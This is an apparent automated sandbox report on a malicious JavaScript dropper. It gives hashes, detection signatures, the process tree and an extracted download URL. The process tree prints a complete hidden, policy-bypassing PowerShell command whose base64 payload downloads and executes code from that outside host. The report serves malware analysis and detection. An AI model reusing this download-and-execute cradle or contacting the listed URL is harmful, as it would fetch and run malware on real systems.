Analysis
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max time kernel
137s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
07/01/2024, 19:20
Static task
static1
Behavioral task
behavioral1
Sample
a8960caa96c8e888c6efed104914db64.js
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
a8960caa96c8e888c6efed104914db64.js
Resource
win10v2004-20231215-en
General
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Target
a8960caa96c8e888c6efed104914db64.js
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Size
77KB
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MD5
a8960caa96c8e888c6efed104914db64
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SHA1
0592e706ea7ca3e0d6f7e5a25cd24daf37c3c643
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SHA256
1aafe1c0af3393daf07cdd2bbb49794b97363bed0c9669c2174ba57ccd7ad6be
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SHA512
935a650dec3c41c3832323b95c989f79358f27f83879d1a28e3d18c82012dc6a9f300dd171c95f11aaa8ff72c3d78c702f63200754d2ea0ff66eceb1dbbe04cd
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SSDEEP
1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oD:59Ry98guHVBqqg2bcruzUHmLKeMMU7G9
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 20 3380 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3380 powershell.exe 3380 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3380 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3560 wrote to memory of 1104 3560 wscript.exe 91 PID 3560 wrote to memory of 1104 3560 wscript.exe 91 PID 1104 wrote to memory of 3380 1104 cmd.exe 93 PID 1104 wrote to memory of 3380 1104 cmd.exe 93
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\a8960caa96c8e888c6efed104914db64.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3380
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82